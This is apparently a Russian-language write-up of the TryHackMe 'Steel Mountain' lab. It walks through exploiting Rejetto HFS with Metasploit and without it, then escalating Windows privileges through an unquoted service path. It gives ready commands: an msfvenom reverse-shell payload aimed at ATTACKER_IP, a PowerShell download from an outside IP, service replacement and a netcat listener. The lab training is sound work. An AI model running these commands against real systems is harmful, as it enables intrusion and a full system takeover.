Steel Mountain
Основная задача - внедрение в Windows машину через metasploit и без него. Использование скриптов для поиска возможности эскалации привилегий Windows, эскалация привилегий в Windows.
Описание задания можно найти на TryHackme
Разведка и сканирование
Смотрим source сайта.
Находим первый флаг - имя файла с лучшим работником.
На 8080 порту админка HFS - Http file server
Проведение разведки с nmap на предмет наличия открытых портов:
Обнаружены открытые порты 135,80,445,3389,8080,139,49155,47001,5985,49169,49156,49154,49153,49168
Сканируем со стандартными скриптами для определения версий сервисов, ПО и прочей информации:
Получаем сведения о версии HFS. В случае атаки без использования
metasploit
ищем на exploit-db эксплойт для имеющейся версии rejetto HFS.
Используем metasploit
msfconsole search hfs # Ищем в metasploit эксплойт по ключевому слову - названию сервера
use exploit/windows/http/rejetto_hfs_exec # Выбираем нужный эксплойт
set RHOSTS and RPORT # Определяем необходимые переменные
exploit # Получаем доступ к cmd целевой системы с правами пользователя от имени которого запущен и управляется HFS
search user.txt # Ищем userflag
Попытка эскалировать права с помощью getsystem обернулась неудачей. Для поиска возможности эскалации прав используем PS скрипт для сбора информации о Windows системе -
PowerUp.ps1
из фреймворка PowerSploit
upload PowerUp.ps1 # Загружаем скрипт на машину
load powershell # Загружает модуль powershell для того, чтобы в последствии вызвать PS консоль
powershell_shell # Вызовет такую консоль``
. .\PowerUp.ps1 # не забываем про точку перед .\
Invoke-AllChecks # Запускаем скрипт. Изучаем его вывод.
Обращаем внимание на сервисы которые могут быть перезапущены текущим пользователем (
CanRestart True
) и имеют "незакавыченные" пути к исполняемым файлам. Это позволит нам остановить такой сервис, подменить его исполняемый файл на нужный нам, а затем заново запустить сервис.
Создаем payload в msfvenom:
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o $SERVICE_NAME.exe
Загружаем payload с помощью upload
подменяя экзешник сервиса.
Запускаем сервис (sc start $SERVICE_NAME)
и ловим его на локальный netcat (nc -lvnp 4443)
- получаем cmd с NT_AUTHORITY
правами.
Без использования metasploit
Получаем уязвимость на exploit-db.
Алгоритм работы скрипта реализующего уязвимости заключается в следующем:
- При первом запуске он подключается к HFS по указанному адресу, а затем стучится на
http://$ATTACKER_IP:80
для того, чтобы скачатьnc.exe
(бинарник netcat). - При втором запуске открывается cmd с правами пользователя запустившего HFS.
Следовательно, для работы скаченного скрипта нужен бинарник netcat
(можно взять здесь не забыв переименовать в nc.exe
) и web сервер на 80 порту, с которого можно будет забрать nc.exe
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o $SERVICE_NAME.exe
Загружаем payload:
powershell -c wget "``[``http://10.14.37.38/$SERVICE_NAME.exe``](http://10.14.37.38/$SERVICE_NAME.exe)`` -OutFile $SERVICE_NAME.exe"
sc stop $SERVICE_NAME
.Запускаем сервис
(sc start $SERVICE_NAME)
и ловим его на локальный netcat nc -lvnp 4443
- получаем cmd с NT_AUTHORITY
правами.